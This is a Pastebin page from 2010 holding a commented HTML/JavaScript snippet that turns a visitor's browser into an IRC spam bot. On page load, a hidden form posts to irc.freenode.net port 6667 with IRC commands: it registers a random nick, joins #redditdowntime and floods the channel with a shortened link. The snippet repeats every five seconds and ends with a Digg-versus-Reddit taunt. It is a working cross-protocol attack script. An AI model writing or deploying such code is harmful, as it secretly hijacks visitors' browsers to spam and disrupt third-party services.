Subdomain Posts
PHP | 17 days ago
JavaScript | 52 days ago
HTML | 52 days ago
HTML | 53 days ago
None | 103 days ago
Python | 257 days ago
None | 260 days ago
None | 260 days ago
None | 260 days ago
Recent Posts
C++ | 44 sec ago
None | 1 min ago
C | 1 min ago
None | 1 min ago
XML | 2 min ago
None | 3 min ago
Java 5 | 3 min ago
None | 4 min ago
C++ | 4 min ago
CSS | 4 min ago
Sitereport
Find cool info about any domain on the internet?
visit sitereport
Free Subdomains
Want a pastebin.com sub-domain for your community?
learn more...
What is pastebin?
Pastebin is a website that hosts all your text & code on dedicated servers for easy sharing.
learn more...
Learn a little bit about the new Pastebin.com on our help page. hide message
By mkosmo on the 27th of Jan 2010 01:20:22 PM Download | Raw | Embed | Report
  1. <iframe id="y" name="y" style="display:none"></iframe>
  2.  
  3. <form method="post" target="y" action="http://irc.freenode.net:6667/" enctype="text/plain" id="f" style="display:none">
  4.     <textarea name="x" id="x"></textarea>
  5. </form>
  6.  
  7. <script type="text/javascript">
  8.     /*
  9.      * Generate a random string of characters to use for an IRC nick
  10.      */
  11.     function rnd(){
  12.         var chars="abcdefghijklmnopqrstuvwxyz";
  13.         var r='';
  14.         var length=Math.floor(Math.random()*10+3);
  15.         for (var i=0;i<length;i++){
  16.            var rnum=Math.floor(Math.random() * chars.length);
  17.            r += chars.substring(rnum, rnum+1);
  18.        }
  19.        return r;
  20.    }
  21.    function lol(){
  22.        /* Grab a reference to the textarea */
  23.        var x = document.getElementById('x');
  24.        /* Grab a reference to the form itself */
  25.        var f = document.getElementById('f');
  26.        /* Generate a fake user-name */
  27.        var i = rnd();
  28.        /* Generate a fake nick */
  29.        var n = rnd();
  30.  
  31.        /*
  32.         * Build a series of IRC commands into a string:
  33.         *   - Set the username
  34.         *   - Set the nick
  35.         *   - Join the channel to spam (#redditdowntime)
  36.         *   - Queue up a bunch of PRIVMSG commands to the channel with the spam link
  37.         */
  38.        x.value='\r\nUSER '+i+' 8 * :'+n+'\r\nNICK '+n+'\r\nJOIN #redditdowntime\r\n'+new Array(99).join('PRIVMSG #redditdowntime :http://bit.ly/lolreddit\r\n')+'';
  39.  
  40.        /* Submit the form, effectively sending the textarea contents to an IRC server */
  41.        f.submit();
  42.  
  43.        /* Setup a loop for maximum irritation */
  44.        setTimeout(lol, 5000);
  45.    }
  46.    lol();
  47. <h1>DIGG ROOLZ! REDDIT DROOLZ!</h1>
Submit a correction or amendment below. [ previous version ] | [ difference ] | Make A New Post
To highlight particular lines, prefix each line with @h@
Syntax highlighting:
Post expiration:
Post exposure:
Name / Title:
Email: